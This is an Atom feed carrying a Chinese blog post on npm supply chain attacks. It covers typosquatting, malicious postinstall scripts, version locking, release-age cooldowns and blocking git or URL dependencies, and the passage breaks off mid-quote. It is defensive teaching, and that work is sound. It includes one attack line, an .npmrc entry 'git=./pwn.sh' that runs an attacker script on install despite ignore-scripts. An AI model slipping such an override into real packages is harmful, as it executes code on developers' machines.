<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Huli&#39;s blog</title>
  
  <subtitle>Learning by sharing</subtitle>
  <link href="https://blog.huli.tw/atom.xml" rel="self"/>
  
  <link href="https://blog.huli.tw/"/>
  <updated>2026-05-26T22:05:30.866Z</updated>
  <id>https://blog.huli.tw/</id>
  
  <author>
    <name>Huli</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>npm 供應鏈攻擊從頭談起：原理、手法與防禦方式</title>
    <link href="https://blog.huli.tw/2026/05/25/dive-into-npm-supply-chain-attack/"/>
    <id>https://blog.huli.tw/2026/05/25/dive-into-npm-supply-chain-attack/</id>
    <published>2026-05-25T03:17:30.000Z</published>
    <updated>2026-05-26T22:05:30.866Z</updated>
    
    <content type="html"><![CDATA[<p>2026 年 5 月 19 日，拿來做圖表的套件 antv 遭到攻擊，最新版本被植入惡意程式。</p><p>5 月 13 日，前端圈很熱門的 TanStack 系列 repo 也遭到攻擊。</p><p>4 月 1 日，每週有一億次下載的 axios 也同樣被攻擊，被發布了惡意版本。</p><p>大概每隔一個月或甚至一週就會看到供應鏈攻擊的新聞，而被攻擊的對象也不只有 npm，Python 的 PyPI、.NET 的 NuGet、甚至是 Docker Hub 或是開發者在用的 VSCode extension，也全部都是目標。</p><p>在這個前提下，開發者該如何保護自己？</p><p>這篇主要來談談針對 npm 的供應鏈攻擊，先從原理開始聊起，接著來談談攻擊手法，以及防禦方式。</p><span id="more"></span><h2><span id="從安裝一個套件開始">從安裝一個套件開始</span></h2><p>當你執行 <code>npm install express</code> 時，背後發生了哪些事情？（實際上更複雜，我們簡化一下）。</p><p>首先呢，由於沒有指定版本，因此 npm 會先去找 express 這個套件的最新版本，以我寫文章當下為例，是 11 天前發布的 5.2.1。</p><p><img src="/img/dive-into-npm-supply-chain-attack/p1.png" alt="express 最新版本"></p><p>於是，express 的 5.2.1 版本就先下載到你的電腦裡了。</p><p>接著，express 本身也有依賴其他套件，這些套件都定義在它的 <a href="https://github.com/expressjs/express/blob/v5.2.1/package.json">package.json</a> 裡面，可以看到還不少：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>  <span class="token string-property property">"dependencies"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token string-property property">"accepts"</span><span class="token operator">:</span> <span class="token string">"^2.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"body-parser"</span><span class="token operator">:</span> <span class="token string">"^2.2.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"content-disposition"</span><span class="token operator">:</span> <span class="token string">"^1.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"content-type"</span><span class="token operator">:</span> <span class="token string">"^1.0.5"</span><span class="token punctuation">,</span>    <span class="token string-property property">"cookie"</span><span class="token operator">:</span> <span class="token string">"^0.7.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"cookie-signature"</span><span class="token operator">:</span> <span class="token string">"^1.2.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"debug"</span><span class="token operator">:</span> <span class="token string">"^4.4.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"depd"</span><span class="token operator">:</span> <span class="token string">"^2.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"encodeurl"</span><span class="token operator">:</span> <span class="token string">"^2.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"escape-html"</span><span class="token operator">:</span> <span class="token string">"^1.0.3"</span><span class="token punctuation">,</span>    <span class="token string-property property">"etag"</span><span class="token operator">:</span> <span class="token string">"^1.8.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"finalhandler"</span><span class="token operator">:</span> <span class="token string">"^2.1.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"fresh"</span><span class="token operator">:</span> <span class="token string">"^2.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"http-errors"</span><span class="token operator">:</span> <span class="token string">"^2.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"merge-descriptors"</span><span class="token operator">:</span> <span class="token string">"^2.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"mime-types"</span><span class="token operator">:</span> <span class="token string">"^3.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"on-finished"</span><span class="token operator">:</span> <span class="token string">"^2.4.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"once"</span><span class="token operator">:</span> <span class="token string">"^1.4.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"parseurl"</span><span class="token operator">:</span> <span class="token string">"^1.3.3"</span><span class="token punctuation">,</span>    <span class="token string-property property">"proxy-addr"</span><span class="token operator">:</span> <span class="token string">"^2.0.7"</span><span class="token punctuation">,</span>    <span class="token string-property property">"qs"</span><span class="token operator">:</span> <span class="token string">"^6.14.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"range-parser"</span><span class="token operator">:</span> <span class="token string">"^1.2.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"router"</span><span class="token operator">:</span> <span class="token string">"^2.2.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"send"</span><span class="token operator">:</span> <span class="token string">"^1.1.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"serve-static"</span><span class="token operator">:</span> <span class="token string">"^2.2.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"statuses"</span><span class="token operator">:</span> <span class="token string">"^2.0.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"type-is"</span><span class="token operator">:</span> <span class="token string">"^2.0.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"vary"</span><span class="token operator">:</span> <span class="token string">"^1.1.2"</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>下一步 npm 就會根據這份定義去下載每一個套件，並且要是「正確版本」。</p><p>版本號這東西通常都是 <code>a.b.c</code>，例如說 <code>1.1.0</code> 或是 <code>2.3.3</code> 這種，第一個數字是 major release，通常代表著 breaking change，也就是你從 <code>1.2.0</code> 升級到 <code>2.0.0</code> 的時候，有些 API 會變，因此直接升級專案可能會壞掉。</p><p>而最後的那個版本號如 <code>2.3.0</code> 到 <code>2.3.1</code>，通常就是修個小 bug，如果有新功能就會動中間的，如 <code>2.3.0</code> 到 <code>2.4.0</code>。</p><p>以 <code>&quot;body-parser&quot;: &quot;^2.2.1&quot;</code> 為例，這個 <code>^</code> 是表示「不接受 breaking change」，因此 <code>^2.2.1</code> 能接受任何 <code>2.x.x</code> 的版本，這也是最常用的表示方法。</p><p>所以，若是你實際去測試，會發現最後安裝到的 <code>body-parser</code> 是 <code>2.2.2</code> 版本，因為最新的就是 <code>2.2.2</code>，而且符合 <code>^2.2.1</code> 的定義。</p><p>以另外一個上面寫的 <code>&quot;content-disposition&quot;: &quot;^1.0.0&quot;</code> 為例，最新的版本是 <code>2.0.0</code>，而最後安裝到的是 <code>1.1.0</code>，因為 <code>1.1.0</code> 才符合 <code>^1.0.0</code> 的定義。</p><p><img src="/img/dive-into-npm-supply-chain-attack/p2.png" alt="依賴解析"></p><p>而這些 express 所依賴的套件，本身也可能會有其他依賴，因此就這樣不斷安裝，直到所有依賴都安裝完成為止。</p><p>當你執行完 <code>npm install express</code> 以後，會在 terminal 上看到總共安裝了多少個套件：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">added <span class="token number">66</span> packages, and audited <span class="token number">67</span> packages <span class="token keyword">in</span> 2s<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>我們先停在這裡，講到目前為止，這個安裝過程可能會有哪些問題？</p><p>第一，我們安裝的 <code>express</code> 最新版本如果有問題，我們就中招了。</p><p>第二，<code>express</code> 中任何一個依賴有問題，我們也中招了。那 66 個套件裡面只要有一個最新版本是駭客發布的，我們也會安裝到。</p><p>這就是供應鏈攻擊的由來，尤其 JavaScript 生態系常被人詬病的就是本身提供的功能太少，導致開發者要裝一大堆小套件來處理這些常用功能。</p><p>例如說我們想知道 HTTP status code 與 message 的關係，如 404 對應到 <code>Not Found</code>，在 npm 上有個每週 1.5 億次下載的套件 <a href="https://www.npmjs.com/package/statuses">statuses</a> 專門在處理，而它的核心其實就是個 code 到 message 的 JSON 檔案。</p><p>相同的需求，在 Go 裡面你可以直接 <a href="https://pkg.go.dev/net/http#StatusText">http.StatusText</a>，在 Python 裡面可以 <a href="https://docs.python.org/3/library/http.html#http.HTTPStatus">HTTPStatus(404).phrase</a>，都有官方提供的 library，但是在 JavaScript 的生態系中沒這種東西，只能靠社群維護的套件。</p><p>因為缺少了這些官方函式庫，所以一堆功能都是靠 npm 上的套件堆起來的，只要任何一個小套件被攻擊，在安裝的時候就會裝到惡意套件。以攻擊者的角度來看，攻擊一個套件，可以影響到成千上萬個，怎麼想都很划算。</p><p>除了上面兩種，還有另一個問題是：「我們自己不小心安裝到錯的套件」。</p><p>例如說 express 多打一個 s，變成 expresss，就會安裝到別的套件。因此駭客可以先註冊很多打錯字的套件，放惡意程式碼在裡面，你不小心打錯字就會中招，這種攻擊手法叫做 typosquatting。</p><p>偷偷跟你說，每週有將近 600 人會多打一個 s，但慶幸的是這個套件是空的：</p><p><img src="/img/dive-into-npm-supply-chain-attack/p3.png" alt="expresss 的下載次數"></p><p>有些服務會禁止註冊這種名字相近的，或是有些善良的資安人員會先註冊起來，以免其他人打錯或是被有心人士註冊走，例如說與知名套件 mongoose 一字之差的 <a href="https://www.npmjs.com/package/mongose">mongose</a>，以前就被發起攻擊，因此後來被 npm 團隊註冊起來放著：</p><p><img src="/img/dive-into-npm-supply-chain-attack/p4.png" alt="mongose"></p><h2><span id="安裝到有問題的套件會怎樣如何防禦">安裝到有問題的套件會怎樣？如何防禦？</span></h2><p>既然是安裝套件，那只要不用它應該就不會有問題吧？雖然多打一個字安裝到錯的，但是在用的時候寫對就會發現套件不存在，只要沒用到套件，應該很安全吧？</p><p>在 npm 生態系底下，只要裝到惡意套件就直接 game over 了。</p><p>原因是，npm 有提供各種 <a href="https://docs.npmjs.com/cli/v11/using-npm/scripts">scripts</a> 可以跑，如 <code>postinstall</code>，只要在套件裡面指定好，在你安裝完套件以後，寫在 <code>postinstall</code> 裡的 shell script 就會被執行。</p><p>postinstall 的正常用法是在套件安裝完之後，自動再去下載需要的東西，像是拿來做瀏覽器自動化的 <a href="https://github.com/puppeteer/puppeteer/blob/af1b9be6b6a178f7ea6e197f738ca3cf99d786f7/packages/puppeteer/package.json#L42">puppeteer</a>，它的 postinstall 寫著 <code>node install.mjs</code>，會去跑一個幫你下載瀏覽器的腳本，把環境設置好。</p><p>那不正常用法就是把惡意程式碼埋在 postinstall 裡面，像是 <a href="https://cloud.google.com/blog/topics/threat-intelligence/north-korea-threat-actor-targets-axios-npm-package">axios</a> 被攻擊的事件中，就是有個子依賴指定了 postinstall，會跑 <code>node setup.js</code>，然後 <code>setup.js</code> 含有惡意程式碼，安裝即中招。</p><p>那我們該怎麼防禦呢？</p><p>在 npm 裡面有一個參數可以設定：<a href="https://docs.npmjs.com/cli/v11/commands/npm-install#ignore-scripts">ignore-scripts</a>，配成 true 的話，就可以關掉這些 pre&#x2F;post 系列的 hook，不會執行。這個參數預設是 false，所以記得要主動設定。</p><p>而 pnpm 從 v10 開始就預設阻止這些 scripts 的執行，你要主動把套件加到 <code>allowBuilds</code> 的清單裡面才能跑。當初還有開了一個 GitHub 的討論串以及投票：<a href="https://github.com/orgs/pnpm/discussions/8918">Should we block lifecycle script of dependencies during installation? #8918</a>，有七成的人選應該預設擋掉。</p><p>而 bun 的策略則是內建一個信任清單，預設只有這清單裡面的套件才可以執行 script，目前有 300 多個套件在上面：<a href="https://github.com/oven-sh/bun/blob/main/src/install/default-trusted-dependencies.txt">src&#x2F;install&#x2F;default-trusted-dependencies.txt</a></p><p>雖然說 bun 在開發者體驗跟安全性之中取得了一個平衡，但我還是更喜歡 pnpm 的做法，直接把全部擋掉，開發者要明確 approve 才會執行。</p><p>話說這種「安裝套件後可以執行腳本」的功能也不是 npm 獨有的，隔壁的 RubyGems 也有類似的功能。而這個機制也會有相同問題，就是安裝到惡意套件直接 game over，因此在 4 月份的時候，他們也加上了兩個 option 可以把這個行為關掉：<a href="https://github.com/ruby/rubygems/pull/9473">Add –no-build-extension and –no-install-plugin options to gem install #9473</a>。</p><p>但因為預設開啟怕會有現有專案壞掉，所以預設是關的，跟 npm 一樣要開發者主動開啟才有用。</p><p>以 npm 來說，我們可以新增一個 user-level 的 npm config 放在 <code>~/.npmrc</code>，就不需要每個資料夾重複指定了：</p><pre class="line-numbers language-ini" data-language="ini"><code class="language-ini"><span class="token comment"># 不執行 postinstall 等腳本</span><span class="token key attr-name">ignore-scripts</span><span class="token punctuation">=</span><span class="token value attr-value">true</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><h2><span id="如何不安裝到有問題的套件">如何不安裝到有問題的套件</span></h2><p>若是安裝到了惡意套件，惡意套件可以經由那些 script 直接執行程式碼；就算我們把這功能關掉，若是我們的產品用到了這些套件，那產品本身也會被污染，到時候你的網站就可能被植入惡意程式。</p><p>「把 script 關掉」算是第二層防禦，而第一層防禦，也就是大家最想要達成的，其實是：「不要安裝到惡意套件」，只要不安裝到就沒事了。</p><p>那要怎麼盡量做到這件事呢？有三個方法。</p><h3><span id="第一招延遲下載">第一招：延遲下載</span></h3><p>既然有駭客鎖定供應鏈進行攻擊，那自然也會有相對應的資安廠商來注意這塊進行防禦。</p><p>例如說開頭提到的 TanStack，在被攻擊後的 20 分鐘內就被 StepSecurity 發現，而 axios 也是約 1 小時後被發現，在惡意版本發布後的 3 小時被 npm 移除。</p><p>因為這些資安公司的努力以及自動化偵測，這類的攻擊通常在幾小時之內就能被發現，並且 npm 也會盡快移除，避免更多人下載到惡意套件。</p><p>也就是說，如果我們在安裝的時候指定「我只下載 24 小時前發布的套件」，就能大幅降低下載到惡意套件的可能性（當然不是 100% 解決這問題，畢竟沒人發現的話一樣會下載到）。</p><p>pnpm 中有一個 <a href="https://pnpm.io/settings#minimumreleaseage">minimumReleaseAge</a> 的設定，從 v11 開始預設為 1440 分鐘，也就是一天。所以當 codex 問你要不要更新你說好，安裝完以後又問你要不要更新一直鬼打牆，就是因為版本發布還沒過一天，所以沒裝到（真實案例，我自己碰到過一兩次，後來才發現原來是因為這個）。</p><p>在 npm 中也有個 <a href="https://docs.npmjs.com/cli/v11/commands/npm-install#ignore-scripts">min-release-age</a>，單位是天，效果也是一樣的，預設是空的。</p><p>bun 也有 <a href="https://bun.com/docs/runtime/bunfig#install-minimumreleaseage">minimumReleaseAge</a>，單位是秒（bun 是秒，pnpm 是分鐘，npm 是天，你們是約好要故意不一樣的嗎⋯），預設也是空的。</p><p>所以如果你用 pnpm v11 以上的版本，預設就不會下載一天內發布的套件，能夠降低安裝到惡意套件的可能性。</p><p>若是用 npm，我也建議設定一下這個值，我自己是設定 3 天，更保險一點：</p><pre class="line-numbers language-ini" data-language="ini"><code class="language-ini"><span class="token comment"># 不執行 postinstall 等腳本</span><span class="token key attr-name">ignore-scripts</span><span class="token punctuation">=</span><span class="token value attr-value">true</span><span class="token comment"># 不下載 3 天內發布的套件</span><span class="token key attr-name">min-release-age</span><span class="token punctuation">=</span><span class="token value attr-value">3</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>不過設定這個參數以後會碰到另一個問題，那就是若是有漏洞，這個修復的版本你也無法即時裝上，必須等個幾天或是在安裝時手動先把這個 config 蓋掉，例如說 <code>npm install -g @openai/codex --min-release-age=0</code>。</p><p>我自己覺得可以看漏洞的嚴重程度以及是否能被攻擊，若是被利用的可能性低的話，等個幾天會比較好。畢竟不能被利用的漏洞風險可控，相比之下安裝到惡意程式的風險會更高一點。</p><p>舉例來說，現在很多套件雖然偶爾有一些 high 的漏洞，但若是你仔細看，會發現是特定狀況或是某個功能有問題，而你用的套件或你的產品本身不一定有用到這個功能，這狀況就可以等個幾天再來修。</p><p>若是 React2Shell 那種就另當別論，盡快修復才是上策。</p><h3><span id="第二招鎖定版本">第二招：鎖定版本</span></h3><p>基本上同一個版本是沒辦法被覆蓋的，例如說 <code>2.0.0</code> 是安全的，那它就是安全的，駭客要發布惡意版本只能升一個版號變成 <code>2.0.1</code>。所以，只要下載過安全的版本，下次再下載也會是安全的（除非 registry 本身被駭啦）。</p><p>當我們執行完 <code>npm install express</code> 之後，除了會下載套件以外，還會產生另一個檔案叫做 <code>package-lock.json</code>，這就是鎖定版本用的 JSON。</p><p>舉例來說，<code>express</code> 的依賴有 <code>body-parser</code>，寫著 <code>^2.2.1</code>，而 <code>body-parser</code> 目前最新相容的版本是 <code>2.2.2</code>，安裝後 lockfile 就會寫死 <code>2.2.2</code>：</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"node_modules/body-parser"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token property">"version"</span><span class="token operator">:</span> <span class="token string">"2.2.2"</span><span class="token punctuation">,</span>    <span class="token property">"resolved"</span><span class="token operator">:</span> <span class="token string">"https://registry.npmjs.org/body-parser/-/body-parser-2.2.2.tgz"</span><span class="token punctuation">,</span>    <span class="token property">"integrity"</span><span class="token operator">:</span> <span class="token string">"sha512-oP5VkATKlNwcgvxi0vM0p/D3n2C3EReYVX+DNYs5TjZFn/oQt2j+4sVJtSMr18pdRr8wjTcBl6LoV+FUwzPmNA=="</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>當我把 <code>node_modules</code> 全部刪掉之後，跑 <code>npm install</code>，就必定會下載到 <code>2.2.2</code> 版本，而且下載完會去驗那個 integrity，證明檔案沒有被動過，若是有被動過會導致 hash 不同，就會報錯失敗。</p><p>若是沒有這個 <code>package-lock.json</code>，那我跑 <code>npm install</code> 的時候就會重新解析一次依賴，若是當時最新的版本是 <code>2.2.3</code>，就會安裝到 <code>2.2.3</code>。</p><p>因此呢，當你產生 lockfile 以後，若是這批套件沒問題，只要沒有升級或是新增套件，「基本上」就能保證你每次下載都是安全的，因為安全套件的版本跟 hash 都被記起來了。</p><p>所以 lockfile 請務必放到版本控制裡面，這很重要。</p><h3><span id="第三招先掃描再下載">第三招：先掃描再下載</span></h3><p>既然電腦有防毒軟體，那自然也有資安公司推出針對 npm 的防護。</p><p>目前最知名的就屬 Socket 推出的 <a href="https://docs.socket.dev/docs/socket-firewall-overview">Socket Firewall</a>，簡稱 sfw，有分免費版跟付費企業版。</p><p>前面我有提過這些資安公司能夠快速地偵測到哪些套件有問題，甚至比 npm 官方還要早一步。例如說之前講過惡意版本發布後 1 小時就被偵測到，但是 3 小時後才下架，中間還是有 2 個小時空窗期。</p><p>當你使用 sfw 來下載套件時，會先去 Socket 內部的資料庫查這個套件有沒有問題，有的話直接攔下來。所以在 npm 官方還沒下架前，你也不會下載到惡意套件。</p><p>對於那些還沒確定安不安全的套件，也會在 server 掃描，掃過一遍確認沒問題才下載（免費版只會提醒，付費版可以設置直接攔下來）。</p><p>其實 Socket 的 sfw 也不只 npm 系能用，Python 的 pip 與 uv 或是 Rust 的 cargo 也可以，其他就要付費版才有了。</p><p>寫到這裡，我們該做的看起來都做了，已經開了 cooldown，只會下載發布 3 天以上的套件，也忽略了那些 scripts，就算真的安裝到也不會立刻執行惡意程式碼，應該很安全了，對吧？</p><p>這麼想的話，你就掉以輕心了，魔鬼永遠藏在細節裡。</p><h2><span id="細節中的魔鬼那些-registry-以外的套件">細節中的魔鬼：那些 registry 以外的套件</span></h2><p>npm 是一個 registry，而你可以透過其他方式自己架一個 registry，如 <a href="https://www.verdaccio.org/">Verdaccio</a> 就是一個可以自己架起來的 registry，可以把 private 套件放在上面。</p><p>或是 <a href="https://jsr.io/">jsr</a> 好了，是另一個開源的 registry，只要在 <code>.npmrc</code> 中加入 <code>@jsr:registry=https://npm.jsr.io</code> 就可以使用。</p><p>但既然都是 npm 支援的 registry，就表示背後一定是遵守同一套協議。</p><p>舉例來說，當你在 npm 安裝 <a href="https://www.npmjs.com/package/zod">zod</a> 這個套件時，npm 會先去抓 <code>https://registry.npmjs.com/zod</code>，response 會是一個描述它的 JSON，包含了最新的穩定版以及每個版本的訊息等等，而 <code>time</code> 裡面則是記錄每個版本的發版時間，min release age 就是看這個時間來決定的：</p><p><img src="/img/dive-into-npm-supply-chain-attack/p5.png" alt="registry json"></p><p>而每個版本的細節則在 versions 裡面，以最新版 <code>4.4.3</code> 為例，裡面寫的 <code>integrity</code> 就是拿來驗證套件有沒有被改的 hash，而 tarball 的 <code>https://registry.npmjs.org/zod/-/zod-4.4.3.tgz</code> 就是最後會被下載的套件：</p><p><img src="/img/dive-into-npm-supply-chain-attack/p6.png" alt="registry tar"></p><p>若是你利用上面提到的方法，讓 npm 解析套件時跑去 jsr 的 URL，當你安裝 <code>@zod/zod</code> 時，解析到的 JSON URL 會是 <code>https://npm.jsr.io/@jsr/zod__zod</code>：</p><p><img src="/img/dive-into-npm-supply-chain-attack/p7.png" alt="jsr registry"></p><p>雖然少了不少東西，但一樣有 time 有 versions，<code>4.4.3</code> 裡面一樣有 integrity 有 tarball：</p><p><img src="/img/dive-into-npm-supply-chain-attack/p8.png" alt="jsr tar url"></p><p>上面提到的這幾個方法，你還是從 registry 安裝套件，只是 registry 的 URL 不同而已。有點像是你可以把專案放到 GitHub、GitLab 或是 Bitbucket，但本質上都是 git，格式都一樣，只是你 URL 要換。</p><p>但除了從 registry 安裝套件以外，其實還有兩種方式：</p><ol><li>URL 直接下載</li><li>git</li></ol><p>第一種的話，以 n8n 的元件 <a href="https://www.npmjs.com/package/@n8n/instance-ai?activeTab=code">@n8n&#x2F;instance-ai</a> 為例，它的 dependencies 中大部分都很正常，如 <code>&quot;csv-parse&quot;: &quot;6.2.1&quot;</code> 或是 <code>&quot;nanoid&quot;: &quot;3.3.8&quot;</code>，前面名稱後面版本號，但仔細看會發現一個例外：</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"xlsx"</span><span class="token operator">:</span> <span class="token string">"https://cdn.sheetjs.com/xlsx-0.20.2/xlsx-0.20.2.tgz"</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>在安裝 <code>xlsx</code> 這個套件時，後面直接寫了 URL，而不是版本。也就是說，這個套件會直接從這個 URL 下載，而非 npm registry。</p><p>為什麼要這樣呢？</p><p>似乎是因為 SheetJS 團隊與 npm 有一些<a href="https://www.bleepingcomputer.com/news/software/npm-package-with-14m-weekly-downloads-ditches-npmjscom-for-own-cdn/">糾紛</a>，所以直接搬家，導致目前 npm 上的 xlsx 已經是幾年前的舊版本，最新的在他們自己架的 <a href="https://git.sheetjs.com/sheetjs/sheetjs">gitea</a>，而<a href="https://docs.sheetjs.com/docs/getting-started/installation/nodejs">官方文件</a>也推薦你在安裝的時候直接裝 URL：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">npm</span> i <span class="token parameter variable">--save</span> https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>這個的壞處是什麼呢？壞處就是除了 npm，你又多了一個地方需要擔心。若是這個 URL 被駭，內容被換成惡意版本，你就直接下載到了。而且 min release age 不起作用，因為不是 registry，所以根本不知道發布時間是什麼時候。</p><p>所以這種第三方的 tarball URL 能避就避，盡量不要用到是最好的。</p><p>而另外一種 git URL 應該有些公司內部的專案會用，當公司沒有內部的 private registry 的時候，就可能會用 git URL 來下載套件。</p><p>例如說這個拿來抓系統字體列表的套件 <a href="https://www.npmjs.com/package/system-font-families">system-font-families</a>，它的依賴是：</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"dependencies"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token property">"babel-polyfill"</span><span class="token operator">:</span> <span class="token string">"^6.23.0"</span><span class="token punctuation">,</span>    <span class="token property">"file-type"</span><span class="token operator">:</span> <span class="token string">"^10.11.0"</span><span class="token punctuation">,</span>    <span class="token property">"read-chunk"</span><span class="token operator">:</span> <span class="token string">"^3.2.0"</span><span class="token punctuation">,</span>    <span class="token property">"ttfinfo"</span><span class="token operator">:</span> <span class="token string">"https://github.com/rBurgett/ttfinfo.git"</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>這個 <code>ttfinfo</code> 直接就寫 git URL，當我們用 <code>npm install system-font-families</code> 安裝這個套件後，會在 lockfile 中看到：</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"node_modules/ttfinfo"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token property">"version"</span><span class="token operator">:</span> <span class="token string">"0.2.0"</span><span class="token punctuation">,</span>    <span class="token property">"resolved"</span><span class="token operator">:</span> <span class="token string">"git+ssh://git@github.com/rBurgett/ttfinfo.git#f00e43e2a6d4c8a12a677df20b7804492d50863c"</span><span class="token punctuation">,</span>    <span class="token property">"license"</span><span class="token operator">:</span> <span class="token string">"MIT"</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><code>ttfinfo</code> 最後被解析出來的地方是個 git URL，而後面 pin 了目前最新的 commit <code>f00e43e2a6d4c8a12a677df20b7804492d50863c</code>。當其他人用相同的 lockfile 安裝時，就會安裝到相同版本。</p><p>但問題是，最原先的 <code>system-font-families</code> 其實並沒有指定版本，所以若是沒有 lockfile，你每次都會裝到最新的 <code>ttfinfo</code>，而且 min release age 同樣不起作用。</p><p>更重要的是，資安公司 <a href="https://www.koi.ai/blog/packagegate-6-zero-days-in-js-package-managers-but-npm-wont-act">koi</a> 在去年 11 月時回報過一個漏洞給 npm，在安裝 git 的依賴時，npm 會把 git repo clone 下來，然後在 repo 中再跑一次 <code>npm install</code>。</p><p>而 <code>.npmrc</code> 中有一個設定叫做 <a href="https://docs.npmjs.com/cli/v11/using-npm/config#git">git</a>，你可以指定要用什麼 command 來跑 git 的指令。因此呢，某個惡意的 git 套件只要新增一個 <code>.npmrc</code>，內容是：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token assign-left variable">git</span><span class="token operator">=</span>./pwn.sh<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>然後再新增一個 git 的子依賴，當你安裝這套件時，系統就會執行到 <code>pwn.sh</code>，繞過了原本 <code>ignore-scripts</code> 的限制。你以為 <code>ignore-scripts</code> 可以阻止任何腳本的執行，但其實沒有。</p><p>而 npm 當時雖然說這個是 intentional design，不視為是漏洞，但後來其實還是有做出一些改動（等等會提到）。</p><h2><span id="阻止-git-與-direct-url">阻止 git 與 direct URL</span></h2><p>儘管我們又檔了 script 又加了 cooldown，但若套件是從 git 或是 direct URL 下載，又會碰到其他的問題。因此，最好的方式就是乾脆阻止這些來源的套件，一率只能從 registry 下載，這樣攻擊面就被局限住了。</p><p>pnpm 從 v11 開始，就把 <a href="https://pnpm.io/settings#blockexoticsubdeps">blockExoticSubdeps</a> 這個參數預設成 true，這個 <code>Exotic</code> 指的是 git 以及 direct URL，而 <code>Subdeps</code> 指的是「子依賴」。</p><p>換句話說，如果你安裝的套件本身是 <code>Exotic</code>，那 pnpm 是不會擋的。例如說你直接安裝 xlsx，可以裝起來。但若是你安裝某個套件 A，而套件 A 需要安裝 xlsx，這時就裝不起來。</p><p>畢竟第一層的依賴都是使用者親手裝的，應該要知道自己在幹嘛以及風險，但這些子依賴很多人都不知道到底有什麼，所以就預設封掉了。</p><p>我簡單示範給你看，若是執行 <code>pnpm i n8n</code>，會看到底下的錯誤：</p><p><img src="/img/dive-into-npm-supply-chain-attack/p9.png" alt="安裝 n8n 時的錯誤"></p><p>明確寫著 n8n 的子依賴 <code>@n8n/instance-ai@1.6.2</code> 又依賴了 xlsx，但因為 <code>blockExoticSubdeps</code> 的關係所以被擋掉了。</p><p>而 npm 也在 <code>v11.10.0</code> 以後多出了 <a href="https://docs.npmjs.com/cli/v11/using-npm/config#allow-git">allow-git</a> 還有 <a href="https://docs.npmjs.com/cli/v11/using-npm/config#allow-git">allow-remote</a> 這兩個參數，可以設定成 <code>none</code>、<code>root</code> 或是 <code>all</code>。</p><p>目前預設的是 <code>all</code>，跟之前的行為一樣，git 跟 direct URL 都不擋。若是兩個都設定成 <code>root</code>，那就會跟 pnpm 一樣，只允許第一層的套件是 URL 或是 git。</p><p>根據 2 月份時 npm 的<a href="https://github.blog/changelog/2026-02-18-npm-bulk-trusted-publishing-config-and-script-security-now-generally-available/">公告</a>，從下一個大版本 v12 開始，<code>allow-git</code> 預設會變成 <code>none</code>，全部都不給裝了。</p><p>而這份公告甚至還有提到前面 koi 回報的行為：</p><blockquote><p>Git dependencies—direct or transitive—can include .npmrc files that override the git executable path. This enables arbitrary code execution during install even when using –ignore-scripts. The new –allow-git flag gives you explicit 